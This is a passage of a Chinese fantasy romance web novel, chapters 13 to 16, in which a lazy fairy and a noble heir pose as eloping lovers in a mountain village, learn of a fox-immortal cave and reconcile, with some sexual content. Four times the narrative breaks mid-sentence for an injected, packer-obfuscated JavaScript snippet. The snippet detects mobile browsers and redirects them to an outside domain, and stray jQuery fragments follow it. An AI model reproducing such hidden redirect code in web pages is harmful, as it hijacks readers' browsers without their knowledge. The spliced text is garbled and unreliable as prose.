山下的鸭子是土炉子里烤出来的,表皮脆脆的还流油,就是不知道在这种朴实的村落里,会不会有别的烹饪手法。 她之前听人说过有“叫花鸡”这种东西,是用泥巴裹了荷叶包起来,埋进土堆里再加热,难不成这里还有人会举一反三做“叫花鸭”? 阿青眼睛又开始亮起来:“谁会请我啊?” 一副“你告诉我名字,我立刻就去找人家”的期待。 “你想都别想,”袁颂深吸一口气,眼神阴怨得有点骇人,“除非我死了。” 阿青:“……?” 长公子好端端的,怎么火气一下子这么大? 袁颂也不再管她乐意与否,严严实实地给她把帷帽带好,然后二话不说就牵着她叩响了就近一间农舍的门。 穿着布裙的农妇从厨房里迎出来,听袁颂道明来意,忙不迭就将两人往屋里迎。 这个村舍偏僻,一年到头也见不到几个过路人,突然来这样神仙似的一对壁人—— 农妇一边往前头走,一边隔着帷帽的白纱偷偷打量阿青的脸。 透过朦胧的薄纱也能粗粗看清五官的轮廓,举手投足里,更有少女不谙世事的天真。 农妇又瞄了眼袁颂,少不了在心里感慨一句“金童玉女”。 两人这身贵气的穿着打扮,恐怕身上随便一件衣服都顶田里一年的收成。 农舍虽然在外面看着破破旧旧,但好在屋子里面被收拾还算干净。 农妇小心翼翼地将两人引进屋,感觉这样的贵客把整个灰扑扑的房厅都照亮堂了,她心里又欢喜又好奇,忍不住跟两人搭话:“不知道二位贵人来我们林溪山做什么?” 阿青嫌白纱挡住视线,一进屋就迫不及待摘了帷帽透气,随口就道:“我们当然是来私奔的咯。” 袁颂一口茶还没咽下去,当即被呛得满脸通红。 13. 013-羽衣 013 泰山崩于前而临危不乱的袁颂头一回被人丢进这么棘手的困境里,被茶呛了半天,终于硬着头皮跟农妇对上视线。 被“私奔”两个字震惊到连嘴巴都合不拢的农妇,这会儿看着袁颂,就差没把“卿本佳人奈何做贼”这八个大字写在脸上了。 否认于事无补。 人只会相信自己愿意相信的东西。 袁颂这时候已经尴尬到如坐针毡,但世家的长公子到底还是能沉住气,装出镇定且羞愧的样子:“未得父母之命媒妁之言,就做出这种不忠不孝不仁不义的事情,实在天理难容,但我跟我表妹情投意合,还望大娘能替我们保密。” 山野农人不比世家高门,对男女私相授受的道德礼教看得没有那么重,也不会太把“私奔”的禁忌放在心上。 毕竟村舍里遇到个什么庆典的,男女二人若看对眼了,当晚就往深林的草垛里滚的也比比皆是。 “哎呀,这算什么!”农妇好不容易把五官归位,打量了眼举止端方的袁颂,又看了看娇俏可爱的阿青,只觉得这两人再般配也没有了,想不明白家里为何要反对,对上袁颂脸上的愁容,忍不住宽慰道:“明明这么郎才女貌的,菩萨哪会怪你们?放心吧,我不会跟别人讲的,再说了,小娘子生得这么美,郎君又长得这么俊,好好同家里人说说,他们肯定会同意的。” 袁颂心情复杂地斜睨了眼旁边丝毫不受影响的始作俑者,低声说了句“多谢”。 农妇粗略地问了两人的饮食喜好,便转身去厨房里弄吃食。 不大的一间农居里,很快就静得只剩下阿青玩筷子的声音。 她单手托着下巴,不解地抬眼看他:“跟我私奔是一件很糟糕的事情么?你当着人的面,也用不着把自己骂成那样吧?” 袁颂头疼地抿了一下唇,难得在这种人情世故上对她失去解释的耐心,叹了口气:“跟你说不明白。” 按当朝律法,男子拐带女子私奔,若被官府抓回去,不论男女,轻则重打二十大板,重则充军为妓。 他倒不担心阿青会遇险,主要是他此番行踪需要严格保密,若有人报官走漏了风声,难免让所有安排功亏一篑。 阿青不喜欢他在自己面前充老成,轻嘁了声:“怎么就说不明白呢?那穷书生约相府千金私奔的时候,路上不就是左一口娘子右一口娘子哄她的?怎么到我头上你就占我辈分的便宜,要让我做你表妹?” 她对于人情世故的认知主要来源于天庭每一千年一次的蟠桃会。 蟠桃会上仙娥们跳完舞,就会以民间风花雪月的样本排戏。 其实当初要是有人能多演几幕防骗指南,她也不至于被那么小一个道士骗得那么惨。 她都几百年没看戏了,这时候也只能把《水经注》这种艳//情小说当学习范本。 “原来你知道啊?”袁颂忽地恍然过来,笑着伸手去掐她脸,“所以刚才是故意看我出丑?” 阿青按住他的手,鼓起脸不准他继续在太岁头上动土,老气横秋地说:“我再怎么样也跟你祖宗是一辈的,怎么可能是你表妹?” “我倒是想顺理成章说你是我娘子,”袁颂心情大好,牵过阿青的手放在唇边碰了碰,伸手拂开几缕她垂在肩上的碎发,落在她脸上的目光温柔得要命,语气也耐心了许多,“但问题是,民间已婚的妇人都梳发髻,并不像你这样打扮。” 阿青:“发髻?” 袁颂伸手搂住她的肩膀,示意她透过那扇敞开的窗户看正在厨房里忙碌的农妇,认真地跟她解释:“你看,已婚的妇人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305731|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会像那样把所有头发都盘起来,你若在路上看见女子脑后梳起发髻,就说明,她已经婚嫁,有爱惜自己的夫君,指不定宅子里还有很可爱的稚童在等她回家,一进门就抱着她的腿喊‘娘亲’,粉粉糯糯的,跟汤圆团子一样。” 袁颂说话的时候会观察她的反应,见她露出若有所思的样子,也不着急,慢慢等着。 阿青忽然笑了一下:“你别想骗我,小孩子都可烦了,哪有你说的那么可爱?” 顿了顿,目光落在他脸上,又觉得自己刚才说的话有失偏颇。 “当然你小时候除外。” “你怎知小孩子都烦?” 袁颂抬了抬眉,眯着眼睛警觉道:“除了我以外,这些年你还接触过谁?” “我哪那么闲?这些都是织女姐姐跟我说的,”阿青叹了口气,脸上露出一丝同情,“你知道吗?每年七夕鹊桥会的时候,她就得去带一天孩子,每次回来我都觉得她老了一岁,哎……要不是当年牛郎偷了她的羽衣,骗她生下孩子,她也不至于每年固定时间都得出勤打卡,点卯上班是真的很烦。” 好吃懒做的神仙,在这一刻,咸鱼本性毕露。 织女的遭遇让阿青心有戚戚,话里话外阴阳怪气地谴责完牛郎那个上不了台面的泥腿子,攥紧了胸口的衣裳,低哼了声:“所以我绝不会让任何人偷走我的羽衣。” 袁颂:“……” 他总算是想明白,阿青为什么就算是晚上累成狗,睡觉的时候也硬要在自己身上挂一块布的原因了。 阿青目光如炬:“哼,谁要是敢打我羽衣的主意,我就算拼了灰飞烟灭也必杀得他挫骨扬灰!” 袁颂:“……” 不知道是该说他幸运还是不幸,居然能碰见这样一个油盐不进的神仙。 14. 014-惠宁帝 014 厅堂里的两个人在对着厨房窃窃私语的时候,厨房里的两个人也在絮絮地商量个不停。 “娘,这事儿我们得报官吧?那郎君看着衣冠楚楚的,没想到是那么个人面兽心的家伙,怎么能拐着这样的小娘子离家私奔呢?” 说话的男子弯着腰在灶台后劈柴,一抬脸,却是那个刚刚在山道上阿青想要上前打招呼的年轻庄稼汉。 “她看着好像什么也不懂的样子,别是被那郎君花言巧语给骗出来的,这下怕是家里人都要找疯了吧?” 农妇却不听儿子怂恿,只认真揉着手里的面团:“你瞎说什么呢,郎才女貌的两个人多般配啊,小姐娇俏可爱,郎君又文质彬彬,一看就是那种大户人家里的公子,书香门第熏陶出来的品行,哪来的‘人面兽心’?” 长相清秀的年轻庄稼汉握着柴刀不语。 “别以为我看不出,你就是瞧上人家姑娘了,省了这份心吧,这样的人家怎么看得上咱们这条件?” “可是——” “人家小夫妻的事,哪轮得到你一个外人来‘可是’的?你且放一个万个心,绝拐不到哪去的,你刚才在外头都没瞧见,那郎君照顾那小姐照顾得多细致,又是给她烫洗碗筷,又是给她擦桌子凳子的,瞧她的那双眼睛都能淌出蜜来,阿越啊,以后要是你做人夫君能有那郎君一半好,我都不担心给你提亲的事儿。” 听自己的亲娘对别人这样吹捧,那名叫“阿越”的少年不服气地一撇嘴。 “报官是决计不能报的,报了就是害了人家,你忘了前不久你钟伯下山卖獐子肉的时候打听回来的消息?” “天子昏聩,朝中贪官污吏横行,报了官怕就真的毁了这段姻缘,俗话说得好,宁拆十座庙不毁一桩婚,这种天打雷劈的事情咱们可不能做!” 农妇三言两语就说得儿子没了反驳的心气。 “外头真的是要变天了么?” 其实对他们这种平头老百姓来说,皇帝换谁当都是可以的,左右不过求一个安稳,但要是来个昏庸无道的人坐了那把椅子,就不好说了——反正盛世兴亡,到头来,苦的都是普通百姓。 农妇活了大半辈子,也听那些经历过战乱的老祖宗们讲过当时的惨况,尽管低着头手脚麻利地团着白面捏窝窝头,但脸上还是露出了一副忧容:“你钟伯听人说,太子被囚不知所踪,皇后专政排挤忠臣,前不久朝廷里有个叫什么忠勇侯的,是个好官,却因为进谏得罪了皇后,当晚就被抄了家,那么多口人,府里的血流了三天三夜都没流完,哎,你担心人家小情侣名不正言不顺地私奔,倒不如关心关心接下来的苛捐杂税,我们山里人家虽然不全依靠那一亩三分地过日子,大不了打仗了往林溪山里一躲就是,但这种日子有上顿没下顿,也是熬人。” 阿越恶狠狠地把柴火塞进炉灶里,气道:“又来个女子乱政的!宫里这些男子未免太没本事,区区一个女人都降服不了!” 农妇无奈地笑道:“傻孩子,不是男人没本事,而是有的时候,女人太有本事了。” 阿越:“女人能有什么本事?” 大邕迄今开国也不过两任皇帝,结束了上代胡部乱华的暴政,百姓好不容易过了段休养生息、安居乐业的好日子。 因着这江山是高祖从马背上打下来的,是以民间男子各个都渴望在沙场上建功立业,凭真刀真枪的智谋和实力取胜,一点儿也见不得阴司手段搅弄朝政。 “这些女人若非靠着床上那点狐媚的能耐,怎么可能有机会从后宫走到朝堂?” 农妇将窝窝头放进蒸屉里,笑道:“那也未必,要不是当初慧宁帝登基改革,你娘保不齐现在还被逼着缠足呢,我知道你又要同外头那些男人一样,瞧不起这古往今来唯一的女皇帝,但女子同男子一样,只要是人,就都有功有过,虽然她当政的时候也杀了不少人,但你得看她对后世的贡献,至少现在的女子提起她,没一个说她不好的,我们女子能从后院里走出来经商走市抛头露脸,不被父兄随意发卖,不用因丈夫临终的想法而活生生被逼殉葬,受了贼子奸//淫,可以不必沉塘明志——全靠她当时的政令改革。” “这世上只有女子才能知道女子的苦楚,更何况,她可不是靠裙带关系才坐了那个位置的……行行行,我知道你这时候一定又要跟我争,她是出生好,但这世上来来回回那么多的公主,为什么偏偏就她一人登了帝位?跟兄弟叔叔们争皇位她都没输过,造反的亲兄弟说杀就杀,朝堂内外的非议也撼动不了她——这样的魄力,这世间有几个男子有她这样的心志?” 阿越也知道自己的母亲说的有道理,就没再继续争执下去,只愤愤地叹了口气:“难道就要这样眼睁睁看着这世道又糟糕回去么?” 乱世之所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305732|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫乱世,就是因为那些当权者,不把人的命当回事。 他在田里种地的时候,听不少叔伯们说,朝廷里那些叫的上名字的好官,下狱的下狱,辞官的辞官—— 总之就没一点好消息。 农妇失神良久,无奈地长叹了口气,宽慰自己的儿子:“天塌下来也该由高个子顶着,怕什么?真乱了,左不过咱们娘俩躲山里去相依为命,林溪山有狐仙保佑,一定是一块好福地。” 又来了又来了。 又来这神神鬼鬼一套了。 所谓的“狐仙”都是不知道几百年前的传说了,偏偏他娘还神神叨叨地信着。 阿越撇了撇嘴,低下头老老实实地烧自己的柴火。 锅里的水烧开,蒸屉很快就开始冒出白花花的热气,没多久白面窝窝头的香气就飘了出来。 农妇拿出家中腌菜缸子里的脆黄瓜和咸菜,拌了点肉沫,挑了几口干净的碗,就给端到了厅里。 不得不说,金童玉女就是赏心悦目,她看着漂亮的女郎啃窝窝头,也觉得心里欢喜。 注意到袁颂坐在桌前一动不动,脸色平静地看那名少女好奇地尝试各种食物的口味,她只当是对方看不上家里的东西,不免有些局促:“郎君为什么不吃,是不是东西不合胃口?你同我说,我再去厨房里给你弄点。” 食物到了神仙嘴里是贡品,但要是贡品提前被凡人碰过了,那神仙自然也就不屑吃了。 就好比民间百姓用满满一桌子菜做完祈福祭祀,等过了半炷香才会将贡桌上的食物分而食之是一个道理。 归根结底,还是出于对祖宗的尊重和崇敬。 袁颂起初是不知道阿青的想法的,只是后来一起吃饭的次数多了,就慢慢发现,她压根不碰任何他碰过的食物,便也渐渐明白了大半。 有些讲究她不跟他提,只是因为她觉得没必要提——毕竟神仙,是没必要跟凡人计较的。 顺着阿青的脾气就能很容易地理清她的思考模式,然而看得越明白,就越知道什么叫“仙凡有别”。 袁颂向农妇扯了个笑,视线越过她肩头,注意到不知道什么时候出现在门口的阿越正盯着自己身边的少女眼也不眨地瞧着,他施施然地调整了一下坐姿,挡住对方视线的同时,不忘伸手调整了一下阿青松松垮垮插歪的发簪,笑道:“我娘子胃口好,我习惯了让她先吃。” 15. 015-狐仙洞 015 农妇感慨地露出一个“你们夫妻感情真好”的笑容,然后转身把站在门口看呆了的儿子推进了灶屋。 之前在袁府吃的都是细粮,阿青也是头一次吃这种口感有点粗糙的白面馍馍,一时之间难免觉得新奇,但吃多了就觉得干巴、涩口。 她放下咬了一半的窝窝头,却用筷子挑盘子里的肉粒:“怎么前脚还是表妹,后脚就变娘子了?” 横竖周围没人,袁颂应得脸不红心不跳:“方才不是你想我喊你娘子?” 阿青笑了:“我跟你开玩笑的,你都听不出来?” 袁颂低哼了一声,难得有点赌气似地说道:“我们礼都成了不知道多少次了,我说你是我娘子你就是我娘子。” 阿青眼里的笑意加深,脸上的狐疑却装得有模有样:“什么时候成的礼,我怎么不知道?” 《水经注》的书生和宰相千金那种白日宣淫之下哄人的话,她当然知道是怎么一回事。 但蟠桃会上的那一出正儿八经的《西厢记》还是让她受益匪浅。 阿青才不会被袁颂就这样三言两语绕进去。 袁颂一口血堵在胸口,冷着脸没好气:“你跟我双修的时候。” “哇哦,”阿青恍然大悟,“原来不用三媒六聘,也是可以做夫妻的呀,我记得你以前读的书里,可都不是这么写的——私相授受不合礼制,有违法度。” 袁颂算是看出来了,这个没心没肺的狡猾神仙,今天存心就是想要他出丑,以报他刚才用“表哥”的身份占她辈分便宜的仇。 他的心冷得跟在菜市场杀了十年鱼没什么两样:“那当然,毕竟我们是私奔出来的。” 偷鸡不成蚀把米。 阿青一下子被堵得没话说,只能低下头继续啃窝窝头。 怕两人吃不惯山野里粗糙的食物,农妇又从厨房里洗了瓜果出来,是一串水莹莹的葡萄。 阿青什么话也不用说,只需要乖乖地揣起手,就能等到信徒袁颂的上贡。 袁颂熟练地剥一颗喂一颗,对上农妇一脸磕到糖的幸福脸,平静问道:“对了,想跟大娘打听一下这附近的狐仙洞。” 农妇还是头一回从外乡人的嘴里听见这个地名,相当意外:“狐仙洞?郎君为何要去那种地方?” 袁颂拿出了早就准备好的说辞:“亡母的手札里写过这个地方,说是景致一绝,我跟我娘子既然路过此地,就想带她观光一下沿途风景。” 就连私奔也晓得这样照顾表妹的情绪,农妇这时候看着这两人,只觉得再般配也没有了,热情地笑着说:“那地方的景致在黄昏时分,的确漂亮得独一无二,若不是有一大片烧不干净的荆棘草拦了上山的去路,以往七夕的时候,我们村子里未成婚的男男女女可爱去那边看落日呢!” 阿青若有所思地看了袁颂一眼,然后把目光转到农妇脸上,好奇地问:“狐仙洞是什么地方?这个洞里难不成真的有成了仙的狐狸?” 如果有的话,她就得想办法把这只狐狸赶跑,然后抢走他的福地—— 毕竟袁颂既然不肯跟她双修,她就只能靠自己了。 至于跟袁颂之间的命契,她既然出来了,就不可能再受制于区区一个凡人。 “哪有什么成仙的狐狸哟,不过就是民间的一个传说罢了,”见阿青感兴趣,农妇便倒豆子一样把她知道的一股脑说了,“就是以前慧宁帝未登大宝之前,曾去那个狐仙洞里拜过仙人,祈愿无灾无病,后来她及笄那年生了一场重疾,垂危之际,有宫人看见她枕畔出现了一只毛茸茸的白狐狸,次日,慧宁帝就不药而愈了,所以那时候大家伙儿地就都传是狐仙大人保佑她死而复生。” 阿青以前听袁颂读过史书,知道这个慧宁帝的生平事迹,想来这样绝无仅有的女皇帝,也会通过一些鬼神之说来增加自己作为“天命之人”的可信度。 但既然民间有动物成精的传闻,那那个所谓的“狐仙洞”多半灵气丰沛,值得她亲去一探究竟。 农妇继续道:“其实这个传说也是我外祖母同我讲的,据说慧宁帝当政时期,本来狐仙洞的香火极为旺盛,但后来大家渐渐发现,原来祈福一事,并不得狐仙大人庇佑,那洞窟就渐渐破败了,如今那样一处仙灵地宝,也只落得一个‘风景好看’的美誉。” 袁颂心下了然,跟农妇问明了具体方位,便笑着道了谢。 临行前,还不忘特地打包了阿青吃剩的食物。 阿青本来想狐仙洞的事情就想得出神,注意到袁颂手里的动作,不解地望向对方。 袁颂知她心里所想:“山野农人爱惜粮食,这些农家妇人一年到头辛劳,好不容易用家里的白面给你做几个馍馍出来,结果你只咬了几口就不管了,这样白白浪费,在她们眼里都要天打雷劈。” 阿青狐疑地皱起眉:“但你打包我吃剩的就算了,干嘛把我没吃的也带走……这么多,你难道吃得下?” 在饮食上,袁颂的嘴巴没比她平易近人到哪去,尤其是袁家还有族规,一日几餐,一餐几食皆有讲究,她认识袁颂这么久,都没见他吃过这种玩意儿。 袁颂看着鼓鼓囊囊的一布袋窝窝头,也有点头疼于农妇的慷慨和热情:“当然吃不了。” 阿青不以为意地轻哼了一声:“那你还把那些带走干嘛?既然她们爱惜粮食,我没碰过的他们自然会接着吃,好歹也是享用过我贡品的人,倘若日后她们念我几句好,指不定我连这片村舍都庇护了。” 袁颂定定地望了阿青一眼,直觉有什么东西今非昔比。 相较于袁氏祠堂里束手束脚、懒洋洋地对除了食物以外的任何事物都提不起兴趣的阿青,眼前笑容迤逦的少女更有帝姬的恣意自信,仿佛是她法力通天,说到就能做到。 袁颂像是什么异样也没注意到似的,牵了阿青的手就往车架旁走:“我不准。” 他背对着她走在前面,颀长背影难得有几分寂寥。 闷闷的声音夹在山间柔润的微风里,在说不出的怅然里,居然还藏了一点孩子气的执拗和不讲道理。 阿青:“哈?” “我说,”袁颂停下脚步,深吸一口气,回过身,一瞬不瞬地盯着她的眼睛,一字一顿地跟她申明道,“我、不、准。” 阿青:”……?“ 袁颂琥珀色的瞳孔里是前所未有的认真和孤注一掷:“除我以外,你不准庇佑这世上任何男子。” 阿青先是一愣,隔了半响才慢悠悠地回过神,然后像是听见了一个很好玩的笑话似的,饶有兴趣地上上下下打量了袁颂好几眼。 “袁颂,你这个人,好不讲理啊。” 她是个神仙,当然是谁愿意跟她祈福就会庇佑谁,只要不是大奸大恶之人,对于虔诚的信徒她当然是来者不拒,且越多越好。 只是他区区一个凡人,怎么还管起她广纳信徒的事? “欸欸欸,明明我记得你小时候,不说孔融让梨了,光是兄友弟恭那一套都做得比任何人好,温良恭俭让处处都挑不出毛病,你爹夸你打小就是个有风骨的人,品貌高洁……啧,没想到你这么心口不一、表里相悖啊?” 阿青的确没想明白,为什么明明同一套行为守则,他对自己跟旁人就是两样标准。 不过就是多庇佑几个信徒,用得着跟她这样三声五令? 袁颂不喜欢她用这种老气横秋的口气跟自己说话,但他又分不清阿青到底是真糊涂还是假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305733|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊涂—— 如果她对自己的心意了然于胸,却屡次无视,那属实可恶。 如果她纯粹就是踏入仙门断情绝爱,这就更叫人无计可施了!只能靠他不断以色侍人了! 他胸闷气堵了半天,才冷嗤了一声:“是啊,我的品貌和风骨只是一张皮,藏在里面的全是妒忌,我有一千八百个小心眼,到处都是斤斤计较的怪脾气。” 但唯有一样好—— 我只心悦于你。 他见不得光的独占欲和排他性,像一把毒火,烧尽他的理智和尊严,甚至在不断地劝他,以色侍人也没什么不好。 但皮囊会老,色衰爱弛—— 可笑的是,阿青连所谓的“爱”都不会馈赠他一分。 “为何?” 阿青任由气呼呼的袁颂牵着自己往前走。 “你说为何?” 袁颂停在车架前,闭了闭眼平复了一下心绪:“仙子聪慧,就不知道我是为何?” 阿青不明白为什么袁颂忽然之间就变得这么咄咄逼人,也不过就是用几个窝窝头笼络一下信徒的事情。 但她还不及思考,注意力已经被这样的袁颂所吸引。 不愧是凡间少有的美人皮,就连生气都生得这么好看。 淡色的琉璃瞳孔像空山新雨,朦朦胧胧里透着勾人的嗔怨,又带着点让神仙也心旌动摇的勃勃野心——盛着不甘心的欲望和欲语还休的求而不得。 阿青这几天其实一直都想不明白,为什么好端端的,原本很主动的长公子忽然之间就不乐意跟她双修了。 比起浪费的那几个口感粗糙的窝窝头,有这样皮骨俱佳的贡品却只能看不能吃,对她这种开了荤的神仙来说,才是真正的浪费粮食、暴殄天物。 袁颂见阿青又露出一副懵懵懂懂的走神模样想要蒙混过关,简直气不打一出来,难得没崩住世家长公子的修养,阴阳怪气地问:“神仙不都看不起我等凡人,这么简单的问题,你居然不知道?” 他话音一落,就本能地踏近一步,将她困于车架前,似乎是厌烦了跟她这段时间毫无意义的拉扯—— 刻意的疏远,煎熬的显然只有他一个人。 没心没肺的神仙就连欲望都清明似水、不起波澜。 阿青:“……” 倘若如实说不知道,少不了又要被袁颂折辱一句“笨蛋”。 她的后背贴着微凉的车架,心想她明明都已经在努力了解地凡人的行事作风了,总不能指望她一夜之间拔苗助长吧—— 她一个神仙,肯为一只贡品鸭纡尊降贵至此,已经很难得了。 阿青进退维谷,微微抬起眼,注意到袁颂目光里分毫不让的针锋相对,心里很快就有了计较。 “我当然知道啦——” 赶在袁颂露出嘲讽的表情之前,她很干脆踮起脚,“啵唧”一口亲在了他因为生气而微微抿起的唇上。 袁颂:“……?” 阿青亲完后,还有点意犹未尽地抿了一下唇,用一种“好啦好啦都不知道这有什么好值得生气”的无奈表情,投降一样睨了他一眼:“夫~君~” 如果说,袁颂前头的自制力已经被阿青突如其来的主动给亲晕了的话,后头在听到“夫君”这个称呼的时候,简直就兵不血刃地将他憋了好几天的郁气都杀了个片甲不留。 原本还在气头上的袁颂耳朵“蹭”地一下就热了,盯着她墨绿色的瞳孔,张唇半响,才木着一张端方君子的脸,问:“你,你知道什么了?” 阿青看着他泛红的脖颈,心里想的却是双修的事,老老实实地叹了口气:“我知道错了。” 都长这么好看了,当然是你说什么就是什么啦! 16. 016-有匪君子 016 袁颂的心跳快得不像话。 千言万语的心绪堵在喉间,对上阿青略显试探又颇有些小心翼翼的眼神,一时之间都想不明白自己前几日到底在执拗什么,要如此别扭地浪费良辰春宵。 注意到周遭扛着锄具时不时往车架旁边瞥眼的农人,袁颂闭了闭眼,压下克制不住上扬的唇角,轻声斥责道:“胡闹,大庭广众,这么多人看着呢。” 袁颂说话的时候,声音太过一本正经,带着点拒人千里的疏离冷意,很有世家公子高高在上的架势。 阿青不明所以地偷偷瞟了他好几眼,怀疑自己都暗示到这份上了,今晚的这顿贡品是不是还是吃不进嘴里。 但她一个神仙,眼巴巴地求贡品上桌是办不到的。 不然又要被袁颂小瞧。 阿青正拉耸着脑袋闷闷不乐,却不料站在她身前的袁颂忽地跟她错开了半米,攥紧她的上臂往旁侧一扯,她下意识抬起头,炙热的气息扑面而来,温热的吻倏然印在了她唇上。 袁颂环住她的腰,躲在车架和一株古木的遮阴处,一人高的车身和可供两人环抱的老树成为二人天然亲昵的隐蔽之所。 苍翠繁茂的古树投下微凉一片巨大而阴凉的树影。 徐徐山风拂耳而过,摇曳出亘古不变的婆娑,仿佛天地万物在这一刻堙灭于无形,浩渺世间只余一个袁颂和一个阿青。 染着茶香的鼻息扫在阿青的脸上。 唇舌的勾缠里搅出绵密不绝的水声,中间夹杂着几道少女无意识的哼哼唧唧。 袁颂一亲她,她就知道今晚多半是有戏了。 于是很自然地仰起脸迎合他,学着前几日他舔舐自己唇瓣的方式,不疾不徐地回吻。 也许是这段时间,彼此都素得太久了,只稍唇齿相触,就是久旱逢霖、干柴烈火,拦都拦不住。 阿青不无得意地心想,两人头一次双修,是她先亲的他,这次重修旧好,还是她主动亲的他。 早知道亲亲这么有用,她也不至于眼馋袁颂这么久了。 以后势必要每天抓着袁颂亲亲,早也亲晚也亲,这样她绝对可以得偿所愿,早日回到自己的仙府洞天里蒙头睡大觉。 阿青盘算得出神,袁颂忽然捧着她的脸退开了少许距离,却意外扯出一段勾连的银丝,一端悬在他唇上,一端又摇摇欲坠地勾在她的舌尖。 银丝随着两人的呼吸轻轻晃动,将断未断,反让原本就非常暧昧的氛围变得淫//靡不堪。 男人滚烫的额头抵着她的额头,如玉般白皙的脸上染着一丝不正常的潮红。 喘息间拂到她脸上的鼻息烫得吓人,压在她小腹上的东西明显翘得有些夸张。 阿青不明所以地抬起氤氤氲氲的眼睛,下意识问袁颂,是想像两人之间在房顶上那样当着外人的面别有意趣,还是由她掐咒设个界,当场来一次。 袁颂闻言,脸色一黑,又低下头恶狠狠地堵住她的唇。 不得不说,袁颂在亲吻一事上,总是说不出的天赋异禀,不用片刻,就能亲得她再次头晕脑胀,接下来的常规流程,他就该用手指勾勾她的衣带,她闻弦歌而知雅意,很快就会主动地解开羽衣的禁制,任他予取予求。 却不料,羽衣的术法刚刚松开,袁颂居然抿着唇认认真真开始给她整理起衣裳来。 阿青:“……?” 到底还要不要双修啦? 怎么钓人钓一半呢? 是不是又莫名其妙虚上啦? 她可不信! 她有证据! 当场就可以给他拿出来! 袁颂用力平复了一下在体内汹涌的情绪,低头狠狠亲了她一下,义正言辞地说:“不可白日宣淫。” 阿青:“……?” 你以往休沐日的白天可不是这样说的! 但袁颂这马勒得太突然,阿青担心前功尽弃,白瞎了她一个神仙纡尊降贵认的错,只能小声地跟他确认:“那晚上是可以宣的,对吧?” 袁颂怎么可能想不明白这个狡猾的神仙刚才打的是什么算盘,脸不红心不跳地“嗯”了一声,想了想又觉得这样的自己实在太没原则,只能闷闷地低哼两声,表示自己气虽然消了,但也没完全消。 阿青满意地伸手环住他的腰,将脸枕在他胸口,偷偷地在心里发出了一声“不愧是我”的叹息。 真是的,要是早知有今日,她就该背着父君爬墙去卯日星君那里学一下如何让日月轮转,好叫太阳快点西落—— 这到晚上,怎么说也还有好几个时辰呢! 即便非常懊悔前几日闹别扭浪费掉的时间,但少女身上浅淡的梅香,却在顷刻间就能清扫他先前的阴霾心绪。 尤其是她乖顺地抱着他的姿势实在太过依赖,竟让人在一瞬间生出一种天长地久的错觉。 袁颂低头闻着她发间馨香,忽然听她开口问:“袁颂,你现在在想什么?” 阿青的耳朵就贴在他胸口,搞不明白为什么两个人就只是这样抱着,袁颂的心跳都能吵到她。 凡人的心,一辈子能跳几下? 按袁颂这个跳法,都怕他活不过今年。 总不至于是后悔答应在晚上给她上贡了吧? 袁颂:“想听实话?” “当然咯。” 阿青的手指在袁颂胸口百无聊赖地画圈圈,想施个术让他的心省着点力气跳慢点,但又舍不得自己那点好不容攒出来的仙力。 早知当初跟着父君修行时就不该那样懈怠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305734|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毕竟技多不压身,学个读心术,还怕弄不明白袁颂心里那点七拐八绕? 但这种“早知道”,对阿青这种好吃懒做、能躺着绝不坐着的神仙而言,无非就是一句空谈。 袁颂的目光落在她珍珠一样小巧的耳垂上。 即使已有半个多月没有顺她心意,但他依旧很清晰地记得,当他轻轻咬上她耳垂时,她是怎么样的反应。 “我什么也没想。” 袁颂叹了口气。 “我只是……” 他将她的手按在自己胸口,垂下眸对上她不解的目光。 午时的阳光透过交叠的叶片,迎着风,摇摇晃晃地落在他如玉般光洁的脸上,洇在浅金色光斑中的瞳孔氤氲出期待,但更多的,是无奈和放任。 “心乱如麻。” 对上阿青眼里的直白和懵懂,袁颂却忽然觉得那股郁结在胸口多日的心结不知什么时候已经烟消云散。 阿青眨着眼睛,用眼神无声地问他,心乱如麻为什么会让心跳这样快。 袁颂却错开跟她对视的目光,低头吻了吻她的耳垂,更温柔地拥紧她,喟叹道:“无妨,我们来日方长。” 